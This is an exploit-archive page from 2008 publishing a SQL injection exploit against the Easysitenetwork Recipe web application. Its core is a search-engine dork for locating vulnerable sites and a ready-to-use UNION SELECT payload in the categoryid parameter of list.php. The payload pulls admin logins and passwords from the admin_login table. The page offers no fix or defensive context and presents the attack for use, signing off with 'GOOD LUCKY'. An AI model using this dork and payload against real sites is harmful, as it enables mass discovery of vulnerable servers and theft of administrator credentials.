Easysitenetwork Recipe (categoryid) Remote SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Easysitenetwork Recipe (categoryid) Remote SQL Injection Vulnerability
# Published : 2008-01-22
# Author : S@BUN
# Previous Title : aflog 1.01 comments.php XSS / SQL Injection Vulnerability
# Next Title : Coppermine Photo Gallery <= 1.4.14 Remote SQL Injection Exploit

#########################################################################
#
# Recipes hacking(list.php?pagenum)SQL Injection
#
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
# DORKS 2 : allinurl: " list.php?pagenum"
#
#########################################################################
# EXPLOIT
#
# list.php?pagenum=0&categoryid=1+union+select+111,222,concat_ws(char(58),login,password),444+from+admin_login/*
#

#########################################################################
# S@BUN                 www.hackturkiye.com                    S@BUN
#########################################################################
# S@BUN                      GOOD LUCKY                          S@BUN
#########################################################################

# www.Syue.com [2008-01-22]